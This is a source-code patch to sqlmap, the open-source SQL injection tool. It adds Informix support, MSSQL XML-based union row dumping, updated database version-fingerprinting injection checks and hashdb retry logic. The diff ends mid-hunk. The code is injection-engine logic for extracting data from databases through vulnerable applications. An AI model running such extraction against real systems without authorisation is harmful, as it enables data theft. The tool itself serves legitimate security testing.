-        # Automatically patching last char trimming cases
-        if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
-            warnMsg = "automatically patching output having last char trimmed"
-            singleTimeWarnMessage(warnMsg)
-            page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
+            # Automatically patching last char trimming cases
+            if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
+                warnMsg = "automatically patching output having last char trimmed"
+                singleTimeWarnMessage(warnMsg)
+                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
 
-        retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
+            retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
+        else:
+            output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
+            if output:
+                try:
+                    root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING))
+                    retVal = ""
+                    for column in kb.dumpColumns:
+                        base64 = True
+                        for child in root:
+                            value = child.attrib.get(column, "").strip()
+                            if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
+                                base64 = False
+                                break
+
+                            try:
+                                value.decode("base64")
+                            except binascii.Error:
+                                base64 = False
+                                break
+
+                        if base64:
+                            for child in root:
+                                child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL
+
+                    for child in root:
+                        row = []
+                        for column in kb.dumpColumns:
+                            row.append(child.attrib.get(column, NULL))
+                        retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
+
+                except:
+                    pass
+                else:
+                    retVal = getUnicode(retVal)
 
         if retVal is not None:
             retVal = getUnicode(retVal, kb.pageEncoding)
@@ -103,7 +145,8 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
                 retVal = htmlunescape(retVal).replace("<br>", "\n")
 
             hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
-        else:
+
+        elif not kb.rowXmlMode:
             trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
 
             if trimmed:
@@ -174,6 +217,13 @@ def unionUse(expression, unpack=True, dump=False):
     # Set kb.partRun in case the engine is called from the API
     kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
 
+    if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
+        kb.rowXmlMode = True
+        _ = "(%s FOR XML RAW, BINARY BASE64)" % expression
+        output = _oneShotUnionUse(_, False)
+        value = parseUnionPage(output)
+        kb.rowXmlMode = False
+
     if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
         # Removed ORDER BY clause because UNION does not play well with it
         expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
@@ -186,7 +236,7 @@ def unionUse(expression, unpack=True, dump=False):
     # SQL limiting the query output one entry at a time
     # NOTE: we assume that only queries that get data from a table can
     # return multiple entries
-    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
+    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
        kb.forcePartialUnion or \
        (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
        " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
@@ -334,7 +384,7 @@ def unionUse(expression, unpack=True, dump=False):
                                 if len(status) > width:
                                     status = "%s..." % status[:width - 3]
 
-                                dataToStdout("%s\n" % status, True)
+                                dataToStdout("%s\n" % status)
 
                 runThreads(numThreads, unionThread)
 

lib/utils/api.py

@@ -224,7 +224,7 @@ class StdDbOut(object):
                     # Ignore all non-relevant messages
                     return
 
-            output = conf.database_cursor.execute(
+            output = conf.databaseCursor.execute(
                 "SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?",
                 (self.taskid, content_type))
 
@@ -232,25 +232,25 @@ class StdDbOut(object):
             if status == CONTENT_STATUS.COMPLETE:
                 if len(output) > 0:
                     for index in xrange(len(output)):
-                        conf.database_cursor.execute("DELETE FROM data WHERE id = ?",
+                        conf.databaseCursor.execute("DELETE FROM data WHERE id = ?",
                                                      (output[index][0],))
 
-                conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
+                conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
                                              (self.taskid, status, content_type, jsonize(value)))
                 if kb.partRun:
                     kb.partRun = None
 
             elif status == CONTENT_STATUS.IN_PROGRESS:
                 if len(output) == 0:
-                    conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
+                    conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)",
                                                  (self.taskid, status, content_type,
                                                   jsonize(value)))
                 else:
                     new_value = "%s%s" % (dejsonize(output[0][2]), value)
-                    conf.database_cursor.execute("UPDATE data SET value = ? WHERE id = ?",
+                    conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?",
                                                  (jsonize(new_value), output[0][0]))
         else:
-            conf.database_cursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)",
+            conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)",
                                          (self.taskid, str(value) if value else ""))
 
     def flush(self):
@@ -269,7 +269,7 @@ class LogRecorder(logging.StreamHandler):
         Record emitted events to IPC database for asynchronous I/O
         communication with the parent process
         """
-        conf.database_cursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)",
+        conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)",
                                      (conf.taskid, time.strftime("%X"), record.levelname,
                                       record.msg % record.args if record.args else record.msg))
 
@@ -277,8 +277,8 @@ class LogRecorder(logging.StreamHandler):
 def setRestAPILog():
     if hasattr(conf, "api"):
         try:
-            conf.database_cursor = Database(conf.database)
-            conf.database_cursor.connect("client")
+            conf.databaseCursor = Database(conf.database)
+            conf.databaseCursor.connect("client")
         except sqlite3.OperationalError, ex:
             raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database)
 
@@ -722,7 +722,8 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT):
 
     while True:
         try:
-            command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip().lower()
+            command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip()
+            command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command)
         except (EOFError, KeyboardInterrupt):
             print
             break

lib/utils/deps.py

@@ -44,10 +44,12 @@ def checkDependencies():
             elif dbmsName == DBMS.HSQLDB:
                 import jaydebeapi
                 import jpype
+            elif dbmsName == DBMS.INFORMIX:
+                import ibm_db_dbi
         except ImportError:
             warnMsg = "sqlmap requires '%s' third-party library " % data[1]
             warnMsg += "in order to directly connect to the DBMS "
-            warnMsg += "%s. Download from %s" % (dbmsName, data[2])
+            warnMsg += "'%s'. Download from %s" % (dbmsName, data[2])
             logger.warn(warnMsg)
             missing_libraries.add(data[1])
 

lib/utils/hash.py

@@ -494,7 +494,7 @@ def attackDumpedTable():
 
             for (_, hash_, password) in results:
                 if hash_:
-                    lut[hash_.lower()] = getUnicode(password)
+                    lut[hash_.lower()] = password
 
             infoMsg = "postprocessing table dump"
             logger.info(infoMsg)
@@ -505,7 +505,7 @@ def attackDumpedTable():
                         value = table[column]['values'][i]
 
                         if value and value.lower() in lut:
-                            table[column]['values'][i] += " (%s)" % lut[value.lower()]
+                            table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()]))
                             table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
 
 def hashRecognition(value):

lib/utils/hashdb.py

@@ -17,10 +17,11 @@ from lib.core.common import serializeObject
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unserializeObject
 from lib.core.data import logger
-from lib.core.exception import SqlmapDataException
+from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES
 from lib.core.settings import HASHDB_FLUSH_RETRIES
 from lib.core.settings import HASHDB_FLUSH_THRESHOLD
+from lib.core.settings import HASHDB_RETRIEVE_RETRIES
 from lib.core.settings import UNICODE_ENCODING
 from lib.core.threads import getCurrentThreadData
 from lib.core.threads import getCurrentThreadName
@@ -43,7 +44,7 @@ class HashDB(object):
             except Exception, ex:
                 errMsg = "error occurred while opening a session "
                 errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
-                raise SqlmapDataException(errMsg)
+                raise SqlmapConnectionException(errMsg)
 
         return threadData.hashDBCursor
 
@@ -76,24 +77,28 @@ class HashDB(object):
             hash_ = HashDB.hashKey(key)
             retVal = self._write_cache.get(hash_)
             if not retVal:
-                while True:
+                for _ in xrange(HASHDB_RETRIEVE_RETRIES):
                     try:
                         for row in self.cursor.execute("SELECT value FROM storage WHERE id=?", (hash_,)):
                             retVal = row[0]
                     except sqlite3.OperationalError, ex:
-                        if not any(_ in getSafeExString(ex) for _ in ("locked", "no such table")):
-                            raise
-                        else:
+                        if any(_ in getSafeExString(ex) for _ in ("locked", "no such table")):
                             warnMsg = "problem occurred while accessing session file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
                             singleTimeWarnMessage(warnMsg)
+                        elif "Could not decode" in getSafeExString(ex):
+                            break
+                        else:
+                            raise
                     except sqlite3.DatabaseError, ex:
                         errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
                         errMsg += "If the problem persists please rerun with `--flush-session`"
-                        raise SqlmapDataException, errMsg
+                        raise SqlmapConnectionException, errMsg
                     else:
                         break
 
-        if unserialize:
+                    time.sleep(1)
+
+        if retVal and unserialize:
             try:
                 retVal = unserializeObject(retVal)
             except:

lib/utils/pivotdumptable.py

@@ -18,6 +18,7 @@ from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.data import conf
+from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.dicts import DUMP_REPLACEMENTS
@@ -165,6 +166,8 @@ def pivotDumpTable(table, colList, count=None, blind=True):
                 entries[column].append(value)
 
     except KeyboardInterrupt:
+        kb.dumpKeyboardInterrupt = True
+
         warnMsg = "user aborted during enumeration. sqlmap "
         warnMsg += "will display partial output"
         logger.warn(warnMsg)

lib/utils/timeout.py

@@ -9,25 +9,29 @@ import threading
 
 from lib.core.data import logger
 from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import TIMEOUT_STATE
 
 def timeout(func, args=(), kwargs={}, duration=1, default=None):
     class InterruptableThread(threading.Thread):
         def __init__(self):
             threading.Thread.__init__(self)
             self.result = None
+            self.timeout_state = None
 
         def run(self):
             try:
                 self.result = func(*args, **kwargs)
+                self.timeout_state = TIMEOUT_STATE.NORMAL
             except Exception, msg:
                 logger.log(CUSTOM_LOGGING.TRAFFIC_IN, msg)
                 self.result = default
+                self.timeout_state = TIMEOUT_STATE.EXCEPTION
 
     thread = InterruptableThread()
     thread.start()
     thread.join(duration)
 
     if thread.isAlive():
-        return default
+        return default, TIMEOUT_STATE.TIMEOUT
     else:
-        return thread.result
+        return thread.result, thread.timeout_state

lib/utils/xrange.py

@@ -85,3 +85,9 @@ class xrange(object):
 
     def _index(self, i):
         return self.start + self.step * i
+
+    def index(self, i):
+        if self.start <= i < self.stop:
+            return i - self.start
+        else:
+            raise ValueError("%d is not in list" % i)

plugins/dbms/firebird/fingerprint.py

@@ -106,12 +106,6 @@ class Fingerprint(GenericFingerprint):
         if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \
            or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \
            Backend.getVersion() != UNKNOWN_DBMS_VERSION:
-            v = Backend.getVersion().replace(">", "")
-            v = v.replace("=", "")
-            v = v.replace(" ", "")
-
-            Backend.setVersion(v)
-
             setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion()))
 
             self.getBanner()

plugins/dbms/hsqldb/fingerprint.py

@@ -83,12 +83,6 @@ class Fingerprint(GenericFingerprint):
         if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \
            or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \
            Backend.getVersion() != UNKNOWN_DBMS_VERSION:
-            v = Backend.getVersion().replace(">", "")
-            v = v.replace("=", "")
-            v = v.replace(" ", "")
-
-            Backend.setVersion(v)
-
             setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))
 
             if Backend.isVersionGreaterOrEqualThan("1.7.2"):

plugins/dbms/informix/__init__.py

@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.enums import DBMS
+from lib.core.settings import INFORMIX_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+
+from plugins.dbms.informix.enumeration import Enumeration
+from plugins.dbms.informix.filesystem import Filesystem
+from plugins.dbms.informix.fingerprint import Fingerprint
+from plugins.dbms.informix.syntax import Syntax
+from plugins.dbms.informix.takeover import Takeover
+from plugins.generic.misc import Miscellaneous
+
+class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
+    """
+    This class defines Informix methods
+    """
+
+    def __init__(self):
+        self.excludeDbsList = INFORMIX_SYSTEM_DBS
+
+        Syntax.__init__(self)
+        Fingerprint.__init__(self)
+        Enumeration.__init__(self)
+        Filesystem.__init__(self)
+        Miscellaneous.__init__(self)
+        Takeover.__init__(self)
+
+    unescaper[DBMS.INFORMIX] = Syntax.escape

plugins/dbms/informix/connector.py

@@ -0,0 +1,63 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+try:
+    import ibm_db_dbi
+except ImportError:
+    pass
+
+import logging
+
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.exception import SqlmapConnectionException
+from plugins.generic.connector import Connector as GenericConnector
+
+class Connector(GenericConnector):
+    """
+    Homepage: http://code.google.com/p/ibm-db/
+    User guide: http://code.google.com/p/ibm-db/wiki/README
+    API: http://www.python.org/dev/peps/pep-0249/
+    License: Apache License 2.0
+    """
+
+    def __init__(self):
+        GenericConnector.__init__(self)
+
+    def connect(self):
+        self.initConnection()
+
+        try:
+            database = "DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port)
+            self.connector = ibm_db_dbi.connect(database, self.user, self.password)
+        except ibm_db_dbi.OperationalError, msg:
+            raise SqlmapConnectionException(msg)
+
+
+        self.initCursor()
+        self.printConnected()
+
+    def fetchall(self):
+        try:
+            return self.cursor.fetchall()
+        except ibm_db_dbi.ProgrammingError, msg:
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+            return None
+
+    def execute(self, query):
+        try:
+            self.cursor.execute(query)
+        except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg:
+            logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
+        except ibm_db_dbi.InternalError, msg:
+            raise SqlmapConnectionException(msg[1])
+
+        self.connector.commit()
+
+    def select(self, query):
+        self.execute(query)
+        return self.fetchall()

plugins/dbms/informix/enumeration.py

@@ -0,0 +1,12 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from plugins.generic.enumeration import Enumeration as GenericEnumeration
+
+class Enumeration(GenericEnumeration):
+    def __init__(self):
+        GenericEnumeration.__init__(self)

plugins/dbms/informix/filesystem.py

@@ -0,0 +1,12 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
+class Filesystem(GenericFilesystem):
+    def __init__(self):
+        GenericFilesystem.__init__(self)

plugins/dbms/informix/fingerprint.py

@@ -0,0 +1,105 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.common import Backend
+from lib.core.common import Format
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import DBMS
+from lib.core.session import setDbms
+from lib.core.settings import INFORMIX_ALIASES
+from lib.request import inject
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+
+class Fingerprint(GenericFingerprint):
+    def __init__(self):
+        GenericFingerprint.__init__(self, DBMS.INFORMIX)
+
+    def getFingerprint(self):
+        value = ""
+        wsOsFp = Format.getOs("web server", kb.headersFp)
+
+        if wsOsFp:
+            value += "%s\n" % wsOsFp
+
+        if kb.data.banner:
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+
+            if dbmsOsFp:
+                value += "%s\n" % dbmsOsFp
+
+        value += "back-end DBMS: "
+
+        if not conf.extensiveFp:
+            value += DBMS.INFORMIX
+            return value
+
+        actVer = Format.getDbms()
+        blank = " " * 15
+        value += "active fingerprint: %s" % actVer
+
+        if kb.bannerFp:
+            banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
+            banVer = Format.getDbms([banVer])
+            value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+        htmlErrorFp = Format.getErrorParsedDBMSes()
+
+        if htmlErrorFp:
+            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+
+        return value
+
+    def checkDbms(self):
+        if not conf.extensiveFp and (Backend.isDbmsWithin(INFORMIX_ALIASES) or (conf.dbms or "").lower() in INFORMIX_ALIASES):
+            setDbms(DBMS.INFORMIX)
+
+            self.getBanner()
+
+            return True
+
+        infoMsg = "testing %s" % DBMS.INFORMIX
+        logger.info(infoMsg)
+
+        result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)")
+
+        if result:
+            infoMsg = "confirming %s" % DBMS.INFORMIX
+            logger.info(infoMsg)
+
+            result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL")
+
+            if not result:
+                warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX
+                logger.warn(warnMsg)
+
+                return False
+
+            setDbms(DBMS.INFORMIX)
+
+            self.getBanner()
+
+            if not conf.extensiveFp:
+                return True
+
+            infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX
+            logger.info(infoMsg)
+
+            for version in ("12.1", "11.7", "11.5"):
+                output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version)
+
+                if output:
+                    Backend.setVersion(version)
+                    break
+
+            return True
+        else:
+            warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX
+            logger.warn(warnMsg)
+
+            return False

plugins/dbms/informix/syntax.py

@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.common import randomStr
+from plugins.generic.syntax import Syntax as GenericSyntax
+
+class Syntax(GenericSyntax):
+    def __init__(self):
+        GenericSyntax.__init__(self)
+
+    @staticmethod
+    def escape(expression, quote=True):
+        """
+        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar")
+        'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar'
+        """
+
+        def escaper(value):
+            return "||".join("CHR(%d)" % ord(_) for _ in value)
+
+        excluded = {}
+        for _ in re.findall(r"DBINFO\([^)]+\)", expression):
+            excluded[_] = randomStr()
+            expression = expression.replace(_, excluded[_])
+
+        retVal = Syntax._escape(expression, quote, escaper)
+
+        for _ in excluded.items():
+            retVal = retVal.replace(_[1], _[0])
+
+        return retVal

plugins/dbms/informix/takeover.py

@@ -0,0 +1,15 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from plugins.generic.takeover import Takeover as GenericTakeover
+
+class Takeover(GenericTakeover):
+    def __init__(self):
+        self.__basedir = None
+        self.__datadir = None
+
+        GenericTakeover.__init__(self)

plugins/dbms/mssqlserver/enumeration.py

@@ -168,7 +168,10 @@ class Enumeration(GenericEnumeration):
         tblCond = rootQuery.inband.condition
         tblConsider, tblCondParam = self.likeOrExact("table")
 
-        if conf.db and conf.db != CURRENT_DB:
+        if conf.db == CURRENT_DB:
+            conf.db = self.getCurrentDb()
+
+        if conf.db:
             enumDbs = conf.db.split(",")
         elif not len(kb.data.cachedDbs):
             enumDbs = self.getDbs()
@@ -277,7 +280,10 @@ class Enumeration(GenericEnumeration):
         tblCond = rootQuery.inband.condition2
         colConsider, colCondParam = self.likeOrExact("column")
 
-        if conf.db and conf.db != CURRENT_DB:
+        if conf.db == CURRENT_DB:
+            conf.db = self.getCurrentDb()
+
+        if conf.db:
             enumDbs = conf.db.split(",")
         elif not len(kb.data.cachedDbs):
             enumDbs = self.getDbs()
@@ -305,12 +311,15 @@ class Enumeration(GenericEnumeration):
                 whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                 infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))
 
-            if conf.db and conf.db != CURRENT_DB:
+            if conf.db == CURRENT_DB:
+                conf.db = self.getCurrentDb()
+
+            if conf.db:
                 _ = conf.db.split(",")
                 infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
             elif conf.excludeSysDbs:
-                infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
-                logger.info(infoMsg2)
+                msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
+                logger.info(msg)
             else:
                 infoMsgDb = " across all databases"
 

plugins/dbms/mssqlserver/fingerprint.py

@@ -93,7 +93,9 @@ class Fingerprint(GenericFingerprint):
             for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
                                     ("2005", "XACT_STATE()=XACT_STATE()"), \
                                     ("2008", "SYSDATETIME()=SYSDATETIME()"), \
-                                    ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)")):
+                                    ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \
+                                    ("2014", "CHARINDEX('12.0.2000',@@version)>0"), \
+                                    ("2016", "ISJSON(NULL) IS NULL")):
                 result = inject.checkBooleanExpression(check)
 
                 if result:

plugins/dbms/mysql/connector.py

@@ -11,6 +11,7 @@ except ImportError:
     pass
 
 import logging
+import struct
 
 from lib.core.data import conf
 from lib.core.data import logger
@@ -36,7 +37,7 @@ class Connector(GenericConnector):
 
         try:
             self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True)
-        except (pymysql.OperationalError, pymysql.InternalError), msg:
+        except (pymysql.OperationalError, pymysql.InternalError, struct.error), msg:
             raise SqlmapConnectionException(msg[1])
 
         self.initCursor()

plugins/dbms/mysql/fingerprint.py

@@ -40,17 +40,18 @@ class Fingerprint(GenericFingerprint):
 
             return None
 
-        # MySQL valid versions updated on 04/2011
+        # Reference: https://downloads.mysql.com/archives/community/
         versions = (
                      (32200, 32235),    # MySQL 3.22
                      (32300, 32359),    # MySQL 3.23
                      (40000, 40032),    # MySQL 4.0
                      (40100, 40131),    # MySQL 4.1
                      (50000, 50092),    # MySQL 5.0
-                     (50100, 50156),    # MySQL 5.1
+                     (50100, 50172),    # MySQL 5.1
                      (50400, 50404),    # MySQL 5.4
-                     (50500, 50521),    # MySQL 5.5
-                     (50600, 50604),    # MySQL 5.6
+                     (50500, 50552),    # MySQL 5.5
+                     (50600, 50633),    # MySQL 5.6
+                     (50700, 50715),    # MySQL 5.7
                      (60000, 60014),    # MySQL 6.0
                    )
 
@@ -152,12 +153,6 @@ class Fingerprint(GenericFingerprint):
         if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
            or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \
            Backend.getVersion() != UNKNOWN_DBMS_VERSION:
-            v = Backend.getVersion().replace(">", "")
-            v = v.replace("=", "")
-            v = v.replace(" ", "")
-
-            Backend.setVersion(v)
-
             setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))
 
             if Backend.isVersionGreaterOrEqualThan("5"):
@@ -185,7 +180,7 @@ class Fingerprint(GenericFingerprint):
                 return False
 
             if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
-                hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("@@USERSTAT LIKE @@USERSTAT") and "MariaDB" or "")
+                hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "")
 
             # reading information_schema on some platforms is causing annoying timeout exits
             # Reference: http://bugs.mysql.com/bug.php?id=15855

plugins/dbms/oracle/fingerprint.py

@@ -102,7 +102,8 @@ class Fingerprint(GenericFingerprint):
             infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
             logger.info(infoMsg)
 
-            for version in ("11i", "10g", "9i", "8i"):
+            # Reference: https://en.wikipedia.org/wiki/Oracle_Database
+            for version in ("12c", "11g", "10g", "9i", "8i"):
                 number = int(re.search("([\d]+)", version).group(1))
                 output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
 

plugins/dbms/postgresql/fingerprint.py

@@ -97,8 +97,16 @@ class Fingerprint(GenericFingerprint):
             infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
             logger.info(infoMsg)
 
-            if inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
-                Backend.setVersion(">= 9.1.0")
+            if inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
+                Backend.setVersion(">= 9.5.0")
+            elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
+                Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
+            elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"):
+                Backend.setVersionList([">= 9.3.0", "< 9.4.0"])
+            elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"):
+                Backend.setVersionList([">= 9.2.0", "< 9.3.0"])
+            elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
+                Backend.setVersionList([">= 9.1.0", "< 9.2.0"])
             elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"):
                 Backend.setVersionList([">= 9.0.0", "< 9.1.0"])
             elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"):

plugins/generic/databases.py

@@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission
 from lib.core.agent import agent
 from lib.core.common import arrayizeValue
 from lib.core.common import Backend
+from lib.core.common import extractRegexResult
 from lib.core.common import filterPairValues
 from lib.core.common import flattenValue
 from lib.core.common import getLimitRange
@@ -19,6 +20,7 @@ from lib.core.common import isTechniqueAvailable
 from lib.core.common import parseSqliteTableSchema
 from lib.core.common import popValue
 from lib.core.common import pushValue
+from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import singleTimeWarnMessage
@@ -30,6 +32,7 @@ from lib.core.data import logger
 from lib.core.data import paths
 from lib.core.data import queries
 from lib.core.dicts import FIREBIRD_TYPES
+from lib.core.dicts import INFORMIX_TYPES
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
@@ -41,6 +44,7 @@ from lib.core.settings import CURRENT_DB
 from lib.request import inject
 from lib.techniques.brute.use import columnExists
 from lib.techniques.brute.use import tableExists
+from lib.techniques.union.use import unionUse
 
 class Databases:
     """
@@ -332,7 +336,7 @@ class Databases:
                         query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
                     elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                         query = rootQuery.blind.query % index
-                    elif Backend.isDbms(DBMS.HSQLDB):
+                    elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX):
                         query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db))
                     else:
                         query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
@@ -539,7 +543,22 @@ class Databases:
                     infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                     logger.info(infoMsg)
 
-                    values = inject.getValue(query, blind=False, time=False)
+                    values = None
+                    if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
+                        expression = query
+                        kb.dumpColumns = []
+                        kb.rowXmlMode = True
+
+                        for column in extractRegexResult(r"SELECT (?P<result>.+?) FROM", query).split(','):
